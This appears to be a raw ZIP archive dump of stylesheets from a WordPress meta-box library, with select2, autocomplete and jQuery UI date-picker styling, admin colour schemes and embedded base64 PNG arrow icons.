.select2-container .select2-search--inline .select2-search__field {
	margin-top: 0;
	min-height: auto;
}
.select2-search--dropdown .select2-search__field {
	padding: 0 4px;
	min-height: 30px;
}

body > .select2-container {
	z-index: 999999;
}

@media (max-width: 782px) {
	.select2-container .select2-selection--single {
		height: 40px;
	}
	.select2-container--default .select2-selection--single .select2-selection__rendered {
		line-height: 40px;
	}
	.select2-container--default .select2-selection--single .select2-selection__arrow {
		height: 38px;
	}
}PK     0w\E    )  dashboard/lib/meta-box/css/background.cssnu [        .rwmb-background-row {
	margin-bottom: 5px;
	display: flex;
	flex-wrap: wrap;
	align-items: flex-start;
}

.rwmb-background-wrapper .wp-picker-container {
	position: relative;
	display: inline-block;
	vertical-align: top;
}
.rwmb-background-wrapper .wp-picker-holder {
	position: absolute;
	z-index: 9;
	min-width: 255px;
}
.rwmb-background-wrapper .rwmb-select {
	flex: 1;
	margin-bottom: 5px;
	max-width: 100%;
}
PK     0w\w,    +  dashboard/lib/meta-box/css/autocomplete.cssnu [        .rwmb-autocomplete-result {
	border-bottom: 1px solid #ccc;
	padding: 1em 0;
	overflow: hidden;
}
.rwmb-autocomplete-result .label {
	float: left;
	width: 90%;
}
.rwmb-autocomplete-result .actions {
	width: 10%;
	float: right;
	cursor: pointer;
}
.ui-autocomplete {
	z-index: 999999;
}PK     0w\%5b  5b  #  dashboard/lib/meta-box/css/date.cssnu [        body {
	--mb-color-datepicker-primary: #23282d;
	--mb-color-datepicker-border: #23282d;
	--mb-color-datepicker-active: var(--wp-admin-theme-color, #2271b1);
	--mb-color-datepicker-heading: #fff;
}

/* Fix empty block below admin footer (issue #24) */
#ui-datepicker-div {
	display: none;
	z-index: 999999 !important;
}

/* Style for multiple months */
.ui-datepicker-multi .ui-datepicker-group {
	padding: 0 .5%;
	box-sizing: border-box;
}
.ui-datepicker-multi .ui-datepicker-group .ui-datepicker-calendar {
	width: 100%;
}

/* Date Picker Default Styles */
.ui-datepicker {
	padding: 0;
	border: 1px solid #ddd;
	border-radius: 4px;
}
.ui-datepicker * {
	padding: 0;
	border-radius: 0;
}
.ui-datepicker table {
	font-size: 13px;
	margin: 0;
}
.ui-datepicker .ui-datepicker-header,
.ui-timepicker-div .ui-widget-header {
	border: none;
	font-weight: normal;
}
.ui-datepicker .ui-datepicker-header .ui-state-hover {
	border-color: transparent;
	cursor: pointer;
	border-radius: 0;
}

.ui-datepicker .ui-datepicker-title {
	margin-top: .4em;
	margin-bottom: .3em;
	font-size: 14px;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover,
.ui-datepicker .ui-datepicker-next,
.ui-datepicker .ui-datepicker-prev {
	height: 1em;
	top: .9em;
	border: none;
}
.ui-datepicker .ui-datepicker-prev-hover {
	left: 2px;
}
.ui-datepicker .ui-datepicker-next-hover {
	right: 2px;
}
.ui-datepicker .ui-datepicker-next span,
.ui-datepicker .ui-datepicker-prev span {
	background-image: url('data:image/png;base64,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');
	background-position: -32px 0;
	margin-top: 0;
	top: 0;
	font-weight: normal;
}
.ui-datepicker .ui-datepicker-prev span {
	background-position: -96px 0;
}
.ui-datepicker th {
	padding: 0.75em 0;
	color: #fff;
	font-weight: normal;
	border: none;
}
.ui-datepicker td {
	background: #f1f1f1;
	border: none;
	padding: 0;
}
.ui-datepicker td .ui-state-default {
	background: transparent;
	border: none;
	text-align: center;
	padding: .5em;
	margin: 0;
	font-weight: normal;
	color: #32373c;
}
.ui-datepicker td .ui-state-active,
.ui-datepicker td .ui-state-hover {
	color: #fff;
}
.ui-datepicker td.ui-state-disabled,
.ui-datepicker td.ui-state-disabled .ui-state-default {
	opacity: 1;
	color: #999;
}


/* Month and year select dropdowns */
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
	background: none;
	color: inherit;
	border: none;
}
.ui-datepicker select.ui-datepicker-month option,
.ui-datepicker select.ui-datepicker-year option {
	color: #3c434a;
	background: #fff;
}

/* Button pane */
.ui-datepicker .ui-datepicker-buttonpane button {
	border-radius: 2px;
}

/* Timepicker */
.ui-timepicker-div .ui-slider-access {
	display: inline-block;
}
.ui-timepicker-div .ui-slider-access button {
    padding: 0 8px;
    margin: 0 2px;
    border-radius: 4px;
}
.ui-timepicker-div .ui-slider-access button span.ui-button-icon {
	display: inline;
}
.ui-timepicker-oneLine .ui-widget-header {
	margin-right: -2px;
}

/* Color schemes */
.ui-datepicker .ui-datepicker-header,
.ui-timepicker-div .ui-widget-header,
.ui-datepicker .ui-datepicker-header .ui-state-hover,
.ui-datepicker thead {
	background: var(--mb-color-datepicker-primary);
	color: var(--mb-color-datepicker-heading);
}
.ui-datepicker th {
	border-top: 1px solid var(--mb-color-datepicker-border);
}
.ui-datepicker td .ui-state-active,
.ui-datepicker td .ui-state-hover {
	background: var(--mb-color-datepicker-active);
}
.ui-datepicker .ui-datepicker-title {
	color: var(--mb-color-datepicker-heading);
}

.admin-color-blue {
	--mb-color-datepicker-primary: #4796b3;
	--mb-color-datepicker-border: #52accc;
	--mb-color-datepicker-active: #096484;
}
.admin-color-coffee {
	--mb-color-datepicker-primary: #46403c;
	--mb-color-datepicker-border: #59524c;
	--mb-color-datepicker-active: #c7a589;
}
.admin-color-ectoplasm {
	--mb-color-datepicker-primary: #413256;
	--mb-color-datepicker-border: #523f6d;
	--mb-color-datepicker-active: #a3b745;
}
.admin-color-midnight {
	--mb-color-datepicker-primary: #26292c;
	--mb-color-datepicker-border: #363b3f;
	--mb-color-datepicker-active: #e14d43;
}
.admin-color-modern {
	--mb-color-datepicker-primary: #1e1e1e;
	--mb-color-datepicker-border: #363b3f;
	--mb-color-datepicker-active: #3858e9;
}
.admin-color-ocean {
	--mb-color-datepicker-primary: #627c83;
	--mb-color-datepicker-border: #738e96;
	--mb-color-datepicker-active: #9ebaa0;
}
.admin-color-sunrise {
	--mb-color-datepicker-primary: #be3631;
	--mb-color-datepicker-border: #cf4944;
	--mb-color-datepicker-active: #dd823b;
}
.admin-color-light {
	--mb-color-datepicker-primary: #e5e5e5;
	--mb-color-datepicker-border: #f0f0f0;
	--mb-color-datepicker-active: #888;
	--mb-color-datepicker-heading: inherit;
}
/* Light */
.admin-color-light .ui-datepicker .ui-datepicker-next span,
.admin-color-light .ui-datepicker .ui-datepicker-prev span {
	background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAADwCAYAAADvl7rLAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDoxMUIxRjI2RjhCODYxMUUzQTEyNERCMDU1QzdBQ0EyMCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoxMUIxRjI3MDhCODYxMUUzQTEyNERCMDU1QzdBQ0EyMCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjExQjFGMjZEOEI4NjExRTNBMTI0REIwNTVDN0FDQTIwIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjExQjFGMjZFOEI4NjExRTNBMTI0REIwNTVDN0FDQTIwIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+kKfR4AAAHcRJREFUeNrsXWuM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